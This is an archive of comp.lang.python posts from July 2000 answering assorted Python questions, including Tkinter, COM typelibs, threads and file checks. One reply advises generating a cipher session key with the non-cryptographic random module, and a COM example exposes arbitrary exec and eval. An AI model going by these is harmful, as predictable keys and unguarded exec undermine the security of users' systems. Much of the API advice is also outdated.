another issue.  Presumably there is a way to send output to a window, a
la Pythonwin.  Heh, heh.

Warning Redux:  you must not call any of the misnamed "very high level"
functions in the C API that have FILE * arguments when using the Borland
compiler because Borland's idea of a struct FILE is not the same as
Microsoft's.  It's really too bad that there are _no_ "very high level"
functions in the C API that will open a file for you.  This should be
fixed, and it would be trivial to do so.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From ge at nowhere.none  Wed Jul  5 18:49:20 2000
From: ge at nowhere.none (Grant Edwards)
Date: Wed, 05 Jul 2000 22:49:20 GMT
Subject: Two Tkinter questions (long)
References: <sn66qkgrfv.fsf@motorola.com>
Message-ID: <QXO85.3118$iN5.767799@ptah.visi.com>

In article <sn66qkgrfv.fsf at motorola.com>, Aaron Ginn wrote:

>The problem is that when I create the file browser in a
>toplevel widget, the command that my buttons are supposed to execute
>are executed immediately.  For instance, here's a portion of code:
>
>class FileBrowser:
>
>    def __init__(self, obj, dir):
>
>< SNIP a lot of wigdets for brevity >
>
>	self.Filter = Button(self.button_frame, text = 'Filter', \
>		      command = self.do_filter())

    self.Filter = Button(self.button_frame, text = 'Filter', \
                      command = self.do_filter)

>self.filter_entry.bind('<Return>', lambda s=self: s.do_filter())

Functions bound to events need to take an event as a parameter
(if you don't want the event, you can use lambda to discard it):

self.filter_entry.bin('<Return>', labda event: self.do_filter())

or you can define another function that will accept an event
parameter:

def do_filter(self, *args)

Now you can just do

self.filter_entry.bin('<Return>', self.do_filter)


>Is there a problem with binding an event to a lambda function?  

No.  The problem is that normal button command functions are
passed 0 arguments and event functions are passed one argument
(the event).

-- 
Grant Edwards                   grante             Yow!  I am a traffic light,
                                  at               and Alan Ginzberg kidnapped
                               visi.com            my laundry in 1927!


From petersc at stud.ntnu.no  Fri Jul  7 16:27:57 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Fri, 07 Jul 2000 20:27:57 +0000
Subject: Python Commands
References: <M0p95.1409$SH2.5338@news.iol.ie>
Message-ID: <39663D4D.95160D97@stud.ntnu.no>

Occute wrote:
> 
> Is there anywhere i can get a list of the commands for python.....?

Try the library and the language reference at http://www.python.org/doc

good luck in your conquest,
Peter

P.S.: I am cc-ing the mailing list so this does not get answered too
often.
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From lvw at lfpt.rwth-aachen.de  Fri Jul 28 10:55:11 2000
From: lvw at lfpt.rwth-aachen.de (Lars von Wedel)
Date: Fri, 28 Jul 2000 16:55:11 +0200 (MET DST)
Subject: Using BaseHTTPServer.BaseHTTPRequestHandler
Message-ID: <200007281455.QAA00600@kazul.rwth-aachen.de>

Hello,

I have built a standalone HTTP server using the class
BaseHTTPServer.BaseHTTPRequestHandler from which I derived
my own handler.

My main focus is on the do_GET() method, in which I disassemble
the self.path variable that has been preprocessed into the query
arguments (using cgi.parse_qs).

My problem is that when I print a header with a 'Content-type',
the corresponding line appears in the browser client, so obviously
somebody printed the header before. That way, I can only output html
pages, which is not what I want. However, I cannot find any
class involved that could cause this.

Who knows help?

Regards,
Lars



From rgruet at ina.fr  Fri Jul  7 12:13:40 2000
From: rgruet at ina.fr (Richard Gruet)
Date: Fri, 07 Jul 2000 18:13:40 +0200
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no>
Message-ID: <396601B3.1EEA71EA@ina.fr>


Thomas Weholt wrote:

> Hi,
>
> Does python support, or if not, would it be cool to have support for :
>
> try:
>         # some code
> except :
>         # catch exception
> finally:
>         # clean up whatever
>
> Thomas

no, these are 2 separate constructs that you can embed:

try:
    try:
        # some code
    except:
        # catch exception
finally:
    # clean-up whatever

Your proposition makes sense but it's little gain, and with separate
constructs  you can do a lot of different things in the SAME try/finally,
e.g:

# Allocate resource (eg. open file)
try:
    # do something
    try:
        # some code
    except:
        # catch exception
   # do something else
    try:
        # some code
    except:
        # catch exception
finally:
    # release resource (eg close file)

Cheers,

Richard



From fgeiger at datec.at  Mon Jul 31 01:22:32 2000
From: fgeiger at datec.at (Franz GEIGER)
Date: Mon, 31 Jul 2000 07:22:32 +0200
Subject: Anyone who tried JPython on a Psion S5Pro?
Message-ID: <8m32ap$cv$1@pollux.ip-plus.net>

Hello,

I wonder if anybody ever tried to use JPython on an EPOC machine.
Where should I go to read about what's needed, the caveats, how to develop
etc.?

Thanks in advance and best regards
Franz GEIGER





From paul at prescod.net  Sun Jul 23 14:15:43 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 13:15:43 -0500
Subject: New PEP: Attribute Access Handlers
References: <m13GGcK-000wcEC@swing.co.at>
Message-ID: <397B364F.A5133684@prescod.net>

Christian Tanzer wrote:
> 
> ...
> In general, get/set/del are not related. For instance:
> 
>     $ dir ~/ttt/ttptools/*/*.py | wc -l
>         426
>     $ grep '  def __setattr__' ~/ttt/ttptools/*/*.py | wc -l
>           5
>     $ grep '  def __getattr__' ~/ttt/ttptools/*/*.py | wc -l
>          44
>     $ grep '  def __delattr__' ~/ttt/ttptools/*/*.py | wc -l
>           0

This statistics are not that meaningful unless those __setattr__ and
__getattr__s are all implementing this convention. Gets and sets on a
*particular attribute* are more likely to be symmetrical and related
than gets and sets *in general*.

> If the performance side of problem 2 is really an issue, move the
> checking of `__attr_setters__/__attr_getters__/__attr_deleters__' from
> `__setattr__/__getattr__/__delattr__' into the interpreter (other
> names for the magic dictionaries might be useful then).

Fine: "move it into the interpreter"? How? The current proposal allows
an optimized implementation in the interpreter. Part of the design is
based on this. A counter-proposal isn't complete until it describes the
interpreter changes in more detail.

I would be happy to allow separate getter/setter/delete methods as long
as they have clear(er) semantics in the face of inheritance and an
efficient implementation. I (or someone) may still come up with a scheme
that balances these goals but right now we don't have such a thing.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From paul at prescod.net  Sun Jul  9 02:33:02 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 09 Jul 2000 01:33:02 -0500
Subject: Parsing lists
References: <UQU95.68799$HK2.1203440@news20.bellglobal.com>
Message-ID: <39681C9E.DDF59722@prescod.net>

Seamus Venasse wrote:
> 
> I am creating a simple list of titles and urls.  I would like to parse this
> list, but I keep receiving an error.  Here is a simplified version of my
> code and error received:
> 
> >>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
> >>> for title, url in list:
> ...     print title, url
> ...
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ValueError: unpack sequence of wrong size
> 

The for loop does not "parse" or do anything else very intelligent with
the list. It merely loops over all of the items. There is no way to make
it do what you want it to do. 

You should probably change your data structure to be a list of pairs or
objects. If you can't do that directly, this function will probably
help:

>>> def pairList( thelist ):
...     newlist=[]
...     for i in xrange( 0, len( thelist ), 2 ):
...         newlist.append( (thelist[i], thelist[i+1]) )
...     return newlist
...
>>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
>>> list=pairList( list )
>>> list
[('title1', 'url1'), ('title2', 'url2'), ('title3', 'url3')]
>>> for title,url in list:
...     print title, url
...
title1 url1
title2 url2
title3 url3

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Computer Associates is expected to come in with better than expected 
earnings." Bob O'Brien, quoted in
	- http://www.fool.com/news/2000/foth000316.htm



From olivierS.dagenaisP at canadaA.comM  Sat Jul 22 22:10:05 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sun, 23 Jul 2000 02:10:05 GMT
Subject: IDLE window disappears on startup
References: <397A3EEA.792BDDEB@helicon.net>
Message-ID: <1use5.617$Gh.13635@news20.bellglobal.com>

Your DOS window is probably set to "Close on exit" (hence you don't see the
reason for the failure).  Open a DOS prompt, navigate to the directory where
idle.py is, type "python idle.py" and if an exception is thrown, it should
appear right after that command.

It might be that you're missing a module, like TCL or something...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Rodney Loisel" <rloisel at helicon.net> wrote in message
news:397A3EEA.792BDDEB at helicon.net...
> New to Python but not script programming. W98  Python 1.5.2b
> First tried clicking on the idle.pw and idle.pwc icons and a window
> pops up and immediately disappears. Then tried:
> start->run-> python idle.py and idle.pyw and the same thing
> happened. Appreciate any suggestions. Also if there are any
> Amiga users of python out there. I also can't get IDLE going
> on that platform either but at least I have  the shell.
>
> rloisel at helicon.net (Rod Loisel Enfield NH)
>




From dbug at verdenet.com  Mon Jul 24 02:02:48 2000
From: dbug at verdenet.com (Jamie Allison)
Date: Sun, 23 Jul 2000 23:02:48 -0700
Subject: python compiler?
Message-ID: <8lkvic$d621@magpie.cat.net.th>

Does anybody know of a compiler for pyhton?




From mfein at aplcomm.jhuapl.edu  Fri Jul 14 08:03:55 2000
From: mfein at aplcomm.jhuapl.edu (Matt Feinstein)
Date: Fri, 14 Jul 2000 12:03:55 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396daf35.3870545@aplnews> <slrn8ms7cv.sj.hzhu@localhost.localdomain>
Message-ID: <396f0031.3421579@aplnews>

On Thu, 13 Jul 2000 19:47:23 GMT, hzhu at localhost.localdomain (Huaiyu
Zhu) wrote:


>
>>The main thing I'd think about in addition to standard MATLAB syntax
>>is a natural 'prolongation' syntax.
>
>Are you thinking about this?
>a = [1 2]
>b = [3 4]
>[a,b]  # [1 2 3 4]
>[a;b]  # [1 2; 3 4]
>

What I mean is, given vectors, e.g.,

d = [d1 d2]
c = [ c1 c2 c3]

an apparently incorrect element-wise multiplication like

d'.*c

would be interpreted as

[d1 d1 d1; d2 d2 d2].*[c1 c2 c3;c1 c2 c3]


--
Matt Feinstein
mfein at aplcomm.jhuapl.edu
Organizational Department of Repeated
and Unnecessary Redundancy


From jbauer at rubic.com  Mon Jul 31 16:21:46 2000
From: jbauer at rubic.com (Jeff Bauer)
Date: Mon, 31 Jul 2000 15:21:46 -0500
Subject: check file exists
References: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <3985DFDA.B27B724A@rubic.com>

Randy Heiland wrote:
> How does one test for whether or not a (Unix) file exists?

    >>> import os
    >>> os.path.exists('/usr/local/bin/python')
    1

The above function is not restricted to Unix.

portable-ly y'rs,

Jeff Bauer
Rubicon Research



From gene at ozob.net  Tue Jul 11 14:26:52 2000
From: gene at ozob.net (gene at ozob.net)
Date: Tue, 11 Jul 2000 12:26:52 -0600
Subject: kjbuckets
Message-ID: <8kflcs$8qv$1@einstein.ebicom.net>

I am trying to install a program call routeplanner which requires
kjbuckets which appears to be an extension of python. Kjbuckets docs say
to read the python extension manual to learn how to compile kjbuckets into
pythons. However I can seem to locate this document.

I would appreciate if someone would give me a clue.

Thanks,

Gene Imes



From R.Brodie at rl.ac.uk  Thu Jul 20 06:16:38 2000
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Thu, 20 Jul 2000 11:16:38 +0100
Subject: Python + Threads
References: <8l4kfb$sfr$1@nnrp1.deja.com>
Message-ID: <8l6ji7$193s@newton.cc.rl.ac.uk>

<rpevans at my-deja.com> wrote in message news:8l4kfb$sfr$1 at nnrp1.deja.com...

> Why is my pipe i/o thread blocking the other threads? Any answers?

There is a global lock within Python, protecting its internals. When you
call out from a Python to a C extension method in a thread, the thread
holds the lock.

For maximum parallelism, and particularly if you're doing blocking I/O
in a thread, you need to release and reaquire the lock.

See: http://www.python.org/doc/current/api/threads.html for details.

[Followups-to: comp.lang.python, as it's Python specific]




From andre at UltraShell.Net  Fri Jul 28 05:44:09 2000
From: andre at UltraShell.Net (Andre van Straaten)
Date: Fri, 28 Jul 2000 09:44:09 GMT
Subject: MySQL, mSQL, or other database
References: <CaFe5.3901$pC1.18696@news02>
Message-ID: <JBcg5.3554$%W6.129844@news-east.usenetserver.com>

Adam Durity <fatman40k at hotmail.com> wrote:
> I have a website hosted by a WPP and they will provide me with Access
> database support for an additional $10 a month.  I'm on a fairly tight
> budget so is there any way i can use MySQL, mSQL, or another database
> package to handle a smple SQL database without a DSN.  BTW, i am a newbie to
> all this stuff.  Thanks in advance, Adam.

AFAIK, MySQL must be installed as root, so if it's not still there ..
mSQL costs for just every private user a license fee.
I'm not aware of others to be installed by you in your home directory.
(Berkeley DB has no SQL, and very simple, but it's free on most Unix
systems.)
Ask this question again in comp.infosystems.www.databases as the point is
the possibility to install it locally.

-- avs 

Andre van Straaten
http://www.vanstraatensoft.com
______________________________________________
flames please to /dev/null at vanstraatensoft.com



From mlauer at trollinger-fe.rz.uni-frankfurt.de  Fri Jul  7 09:45:04 2000
From: mlauer at trollinger-fe.rz.uni-frankfurt.de (mlauer at trollinger-fe.rz.uni-frankfurt.de)
Date: 7 Jul 2000 15:45:04 +0200
Subject: ANS: ASPIPython update on Starship
References: <8jvg2d$8q5$1@nnrp1.deja.com>
Message-ID: <3965dee0@nntp.server.uni-frankfurt.de>

Sam Schulenburg (samschul at pacbell.net) wrote:
> I have made some corrections to ASPIPython, that correct memory leaks
> found in aspi.dll.

> ASPIPython is a open source python interface to the (A)dvanced (S)
> system (P)programming (I)nterface for SCSI devices developed by Adaptec
> Corp. This interface allows for the development of tests under Python
> for SCSI disk drives. These routines can be found at
> http://starship.python/crew/schulen

Actually, it's http://starship.python.net/crew/samschul/

Great work, by the way!

--
--
    Regards & Gruesse from Mickey @ http://www.Vanille.de
  ---------------------------------------------------------
  How could anyone know me - when I don't even know myself ?




From claird at starbase.neosoft.com  Mon Jul 31 00:20:21 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 30 Jul 2000 23:20:21 -0500
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net> <398126DE.6E2C2627@ajubasolutions.com> <8lseiq$1trq$1@news.bbnetworks.net>
Message-ID: <4F152D4BA5D8B69F.A5DC79DD56913BF6.D8A15FB2DC87662E@lp.airnews.net>

In article <8lseiq$1trq$1 at news.bbnetworks.net>,
Kristoffer Lawson  <setok at fishpool.com> wrote:
>In comp.lang.tcl Dan Kuchler <kuchler at ajubasolutions.com> wrote:
>
>: http://www.perl.org/perl6/pr/initial_meeting.html
>
>: Lots if interesting little tidbits in here.
>
>Of which the most interesting seems to be that they want Perl to 
>be everything for everyone. Somehow I have this image of a star
>exploding. It'll probably still be popular, though...
			.
			.
			.
Are you observing that current users of Perl are all
over the map, and are each happy to see their own fiefs
reinforced, or that Larry and the inner cabal are uni-
versalists in their aims?
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From greg at perceval.be  Tue Jul 18 10:45:25 2000
From: greg at perceval.be (Gregoire Welraeds)
Date: Tue, 18 Jul 2000 16:45:25 +0200 (CEST)
Subject: What's happening here ????
Message-ID: <Pine.BSF.4.10.10007181644550.17617-100000@hercule.perceval.be>



--
Life is not fair
But the root password helps
--

Gregoire Welraeds
greg at perceval.be
Perceval Development team
-------------------------------------------------------------------------------
Perceval Technologies sa/nv	Tel: +32-2-6409194		
Rue Tenbosch, 9			Fax: +32-2-6403154		
B-1000 Brussels			general information:   info at perceval.net
BELGIUM				technical information: helpdesk at perceval.net
URL: http://www.perceval.be/
-------------------------------------------------------------------------------




From smigowsky at dspace.de.bbs  Thu Jul 13 06:10:05 2000
From: smigowsky at dspace.de.bbs (smigowsky at dspace.de.bbs)
Date: 13 Jul 2000 10:10:05 GMT
Subject: TypeLib for Python COM Server?
Message-ID: <3bO2IV$m5z@openbazaar.net>

Hi,

there is no general support for typelib generation. But as I know all
propertiues and methods of a Python COM Server start with the dispid 1000.

So writing the IDL File by hand is no problem. Just take the same GUIDs,
Names and the right DispID. So here is a little example :

Python File :

_reg_clsid_ = "{5B24BFC0-EF45-11d3-9B5F-0090274354BC}"
_reg_libname_ = "PythonComInterpreter Typelib"

class PythonComInterpreter:
    """Interface PythonComInterpreter"""

    _public_methods_ = ['Exec','Eval']

    _reg_progid_     = "PythonComInterpreter"
    _reg_verprogid_  = "PythonComInterpreter.1"
    _reg_clsid_      =  '{281AC1E3-E3D2-11D3-9B37-00902722BDE1}'
    _reg_desc_       = "PythonComInterpreterClass"
    _reg_class_spec_ = "PythonComInterpreter.PythonComInterpreter"

 
    def __init__(self):
        self.Dict = {}
        self.Dict["__name__"] = "__main__"
        self.Dict["__builtins__"] = __builtins__
        self.Dict["__doc__"] = ""

    def Exec(self, Cmd):
        exec str(Cmd) in self.Dict

    def Eval(self, Cmd):
        return eval(str(Cmd),self.Dict)


if __name__ == '__main__':
  print 'Registering Python COM Server ...'
  import win32com.Server.register
  win32com.Server.register.UseCommandLine(PythonComInterpreter)
  print 'Registering finished'

######################################################################
Corresponding IDL File:
######################################################################

[
  uuid(5B24BFC0-EF45-11D3-9B5F-0090274354BC),    // _reg_clsid_ Typelib
  version(1.0),
  helpstring("PythonComInterpreter 1.0 Type Library")
]
library Interpreter
{
    importlib("STDOLE2.TLB");

    // Forward declare all types defined in this typelib
    dispinterface IPythonComInterpreter;

    [
      uuid(281AC1E3-E3D2-11D3-9B37-00902722BDE1), // _reg_clsid_
PythonComInterpreter Class
      helpstring("PythonComInterpreter Class")
    ]
    coclass PythonComInterpreter {                // _reg_progid_
PythonComInterpreter Class
        [default] dispinterface IPythonComInterpreter;
    };

    [
      uuid(F8887DE1-EF58-11D3-9B5F-0090274354BC),
      helpstring("IPythonComInterpreter Interface")
    ]
    dispinterface IPythonComInterpreter {
        properties:
        methods:
            [id(1000), helpstring("Executes a Pythonstatement")]
            VARIANT Exec([in] BSTR cmd);
            [id(1001), helpstring("Evals a Pythonstatement")]
            VARIANT Eval([in] BSTR cmd);
    };
};


	Stefan


>-----Original Message-----
>From: mlp at amrose.dk [mailto:mlp at amrose.dk]
>Sent: Wednesday, July 12, 2000 1:37 PM
>To: python-list at python.org
>Subject: TypeLib for Python COM Server?
>
>
>hi all.
>
>i'm in a situation where i'd like to have a typelib for a python com
>server, for use in a c++ client.
>
>i tried to just use midl on an idl i made to reflect the interface of
>the python server.  this didn't work out, since when compiling the
>client code the tlb file is not recognized.
>
>my question: is there an automatic, easy, or standard, way to produce a
>typelibrary for a com server implemented in python?  if not, is it
>possible at all?  if so, could anybody help me with the details?  a
>complete example would be splendid!
>
>python rules!
>'gards,
>morten lind petersen, denmark
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.
>--
>http://www.python.org/mailman/listinfo/python-list
>


From mmorris at mindspring.com  Mon Jul  3 12:41:54 2000
From: mmorris at mindspring.com (Mitchell Morris)
Date: 3 Jul 2000 16:41:54 GMT
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se>
Message-ID: <8F6665DDDbeablebeable@207.211.168.82>

kalle at gnupung.net (Kalle Svensson) wrote in 
<Pine.GSO.4.21.0007031546410.25965-100000 at luna.dsv.su.se>:

>Hello.
>
>I have a few questions about the (pseudo) random number generator supplied
>in the standard library. I need 80 random bits (for a CipherSaber IV) but
>I hear most RNG's only supply 32 bits or less. My questions are:
>
> * How many random bits does whrandom.random() generate?

I don't have the references from whrandom handy, but (a) I can flip through 
my Knuth book (flip, flip, flip) to see that there are several constants by 
which you can get an LCM to generate 2^32 values each of which could be 32 
bits long, and (b) Wichmann-Hill is rather more advanced than an LCM, so 32
*2^32 should be considered a reasonable lower limit. Since you only need 80 
or so, you should be okay.



> * Suppose I do a loop where I get a byte at a time and then re-seed the
>   generator either with random numbers from the generator or with values
>   from time. Will that improve the randomness?

The short answer is (a) no, that won't actually improve anything, and (b) 
it would be overkill anyway. All you need to do is:
>>> import random
>>> session_key = []
>>> for i in range(10):
...     session_key.append(random.randint(0, 255))
and go about your business normally.

The long answer is you can't generate randomness from nothing, which is 
what you're trying to do by reseeding your generator with output from your 
generator. If you really need more entropy, you need to find it somewhere 
else, perhaps by measuring some physical properties. To answer your next 
question, this is what /dev/random does ... it distills single bits of 
entropy by measuring a sheaf of physical properties as the system runs, 
then mixes them with the bits it already has, and doles them out to you 
when asked.

There is a discussion about both of these in the design of Yarrow 
(http://www.counterpane.com/yarrow-notes.html) which may be of interest to 
you if you're looking to further your knowledge of your ignorance of 
generating pseudo-random numbers.



> * Are there better alternatives? I understand I could read from
>   /dev/random on Linux, but this isn't portable, and even though I only
>   use GNU/Linux myself, I have friends who don't. If anyone can tip me
>   off about a similar feature in Win32, I could just detect platform and
>   use the appropriate function, of course. I don't think I have to care
>   about Macs or other *NIX dialects. Phew... :)
>
>Hope I'm making sense even though I hardly understand what I'm talking
>about... :)
>
>TIA,
>  Kalle Svensson

It's been a while since I looked at CipherSaber, but as I recall you only 
need entropy for the session key. You will probably find that almost any 
silly stupid PRNG will suffice for that, and most operating systems will 
provide you a silly stupid one.

My knee-jerk response is don't use rand()/srand() if random()/srandom() are 
available. I suspect, and this is completely without analysis, that 
whrandom.random() will be more than enough for this exercise.

If human lives are at stake, however, you really should try to educate 
yourself further so you can make your own analysis of the risks involved.

HTH. HAND.
+Mitchell


From stephen at cerebralmaelstrom.com  Mon Jul 10 01:22:56 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Mon, 10 Jul 2000 05:22:56 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395E05CD.E38F642C@webamused.com> <396b3f42.316716812@nntp.interaccess.com>
Message-ID: <Q4da5.125085$WS3.1096765@typhoon.we.rr.com>

BTW, i'm sorry if i'm oversnipping, but i'm only commenting to a certain
portion of this...

Your example is invalid because they still kept the same script and just
redesigned it a bit...

If Microsoft took Java code, named it Mocha, and altered the API's and a few
other ways that it worked, Sun would win a suit. If Microsoft took the
CONCEPT of the Language, and made their /entire own language/ around the
/idea/ of it, then they havn't /copied/ anything. You can't copyright a
'concept' or an 'idea'. You can copyright your perticular application of
said idea or concept.

--S

Thaddeus L. Olczyk <olczyk at interaccess.com> wrote in message
news:396b3f42.316716812 at nntp.interaccess.com...
> On Sat, 01 Jul 2000 15:51:48 GMT, Joshua Macy <amused at webamused.com>
(snip)> As for the law. Perhaps you should aquaint yourself with case law.
> Such as Ben Bova and Harlan Ellison vs I think it was Universal
> Studios, 197?. Bova and Ellison wrote a novellette which Universal
> wanted to make a TV series out of. But the authors didn't like the
> changes that Universal wanted to make in the book, so they backed out.
> Universal changed the name and a few of the peripheral elements,
> incorparated their changes and went ahead anyway. Bova and Ellison
> won. Sound familiar?




From aahz at netcom.com  Fri Jul  7 19:39:06 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 7 Jul 2000 23:39:06 GMT
Subject: Help! Indenting craziness!
References: <8k5pev$182l$1@nntp1.ba.best.com>
Message-ID: <8k5pmq$k3k$1@nntp9.atl.mindspring.net>

In article <8k5pev$182l$1 at nntp1.ba.best.com>,
Adam Clark  <bjrubble at shell16.ba.best.com> wrote:
>
>Does anybody have a technique for avoiding syntax errors due to blank,
>unindented lines?  I'm getting these on a regular basis, and I haven't
>figured out any reliable way to fix them.  Sometimes if I take every line
>in the vicinity, backspace it to the end of the previous line, and 
>reposition it, the errors go away.  But often they don't, and I end up
>just deleting chunks and rewriting them until Python stops complaining.
>
>This is with Emacs and python-mode.

That doesn't make any sense.  This sounds like what can happen if you
switch between Windoze and Unix.  Can you give us an example?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From neilh at scintilla.org.bbs  Sun Jul 16 10:10:02 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 16 Jul 2000 14:10:02 GMT
Subject: Pythonwin: problem with syntax highlighting
Message-ID: <3bQP6Q$lPW@openbazaar.net>

> >   Telling us what version number will help. Using PythonWin 132 is best
if
> >you are running Python 1.5.x.
>
> I'm using pythonwin build 132 and python 1.5.2. All the win32 stuff
> works well, I can run scripts and code my own, but no call tips
> whatsoever.

   Could this be a locale problem? Are your machines set up to
French-France? PythonWin is mostly tested in English-US.

   Just reinstalled and tried with French locale and it's still working for
me on W2K Professional.

   Try "string." which may be available even if the Win32 extensions have
gone missing.

> >   Syntax highlighting should just happen - it even looks as though Mark
has
> >dropped the option to turn off syntax highlighting.
>
> Do you mean coloring ? The source is colored alright.

   OK.

> Actually the online help is fine, I was talking about call tips,
> autocompletion and all these niceties which make life easier (and yes,
> I've uninstalled and reinstalled twice already).

   Some of the options don't work until you shut down and restart PythonWin
but I expect you've tried that.

   Neil


From neilh at scintilla.org  Mon Jul  3 10:21:26 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 03 Jul 2000 14:21:26 GMT
Subject: Is there a searchable archive of c.l.py
Message-ID: <Gj185.6536$Tb7.39716@news-server.bigpond.net.au>

   When the recent thread on Aspect Oriented Programming started, I tried to
find some earlier discussion of the subject that I remembered. I knew that
Deja had dropped most of its older archives but tried anyway. The Python.org
site recommended eGroups but while this has a complete record, searches do
not go back very far. Maybe it is only partially indexed. None of the other
sources were searchable. And none had a good way to download a large block
of the archives so I could run a search on my own machine.

   Is there a sensibly searchable archive anywhere? In the future we will
need this resource. Otherwise how will we know how we beat those nanoviruses
back in '97?

   Neil




From bjorn at roguewave.com  Tue Jul 11 15:28:57 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 11 Jul 2000 13:28:57 -0600
Subject: Comparing a string
References: <8kfq90$vd$1@nnrp1.deja.com>
Message-ID: <396B7579.6A2CB8B8@roguewave.com>

import string

if string.lower("FOO") == string.lower("Foo"):
   <do something useful>

-- bjorn

johnvert at my-deja.com wrote:
> 
> Hi,
> 
> How can I compare two strings in a case-insensetive way? I couldn't find
> a function similar to strcasecmp or even to strcmp in
> http://www.python.org/doc/current/lib/module-string.html.  I understand
> it's a silly question, but I can't find a way to do this (I don't want
> to use regexps)
> 
> Thanks,
> -- John
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> --
> http://www.python.org/mailman/listinfo/python-list



From pinard at iro.umontreal.ca  Mon Jul 31 11:32:44 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 31 Jul 2000 11:32:44 -0400
Subject: random.shuffle?
In-Reply-To: ahopkins@ahopkins.dynacare.com's message of "Mon, 31 Jul 2000 13:52:21 GMT"
References: <slrn8ob14m.bh4.ahopkins@ahopkins.dynacare.com>
Message-ID: <oqittmuxgj.fsf@titan.progiciels-bpi.ca>

[Albert Hopkins]

> I wrote a script on my RedHat Linux 6.2 box at home and was pleasantly
> surprised to see that there was a random.shuffle function.  However,
> when I later ran the script on my RedHat 6.2 box at work, there was
> no such function.  Anyone have any idea where it came from?

No, but it is easily rewritten.  Let's see... (untested)


import whrandom

def shuffle(items):
    """Shuffle ITEMS in place.  ITEMS should normally be a list."""
    for top in range(len(items)-1, 0, -1):
        index = whrandom.randint(0, top)
        items[index], items[top] = items[top], items[index]

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From usenet at foreignkey.com  Wed Jul  5 10:32:57 2000
From: usenet at foreignkey.com (Paul Jensen)
Date: Wed, 05 Jul 2000 14:32:57 GMT
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>
Message-ID: <u7lb07is1.fsf@foreignkey.com>

cmfinlay at SPAMmagnet.com.au writes:

> number = 100
> print "Number =", number
> OUT = open("TT.txt","w")
> OUT.write("Number =", number) # Error
> OUT.close()

The problem is that 'print' is a statement, but the write() function
wants an expression, so you use the "%" operator to substitute values
into the string printf() style, like:

		OUT.write("Number = %d" % number)

I wanted to include a reference to the "%" operator in the online
docs, but interestingly couldn't find one. Anyone know offhand where
"%" is covered in the docs?

Cheers,
-- 
Paul Jensen <usenet at foreignkey.com>


From ajs at ix.netcom.com  Sun Jul 30 14:02:55 2000
From: ajs at ix.netcom.com (Arthur Siegel)
Date: Sun, 30 Jul 2000 14:02:55 -0400
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com>
Message-ID: <8m1rka$tps$1@slb2.atl.mindspring.net>

> >> >    Actually I think it would be easier for non-programmers to
> >> >learn a language if it has strict typing.
> >>
> >> I concur. In non-programming, life is strictly typed. Allowed
> >> operations are determined by the type of the object. You can't
> >> make a phone call on a waffle-iron.
>
> Nobody expects a proof, but a just-as-carefully-framed
> counter-analogy would be a good start...
>

How about an empirical argument.

While you guys were futzing with the internals of compilers I was trying to
get
a handle on  "for" loops and  inheritance and such.

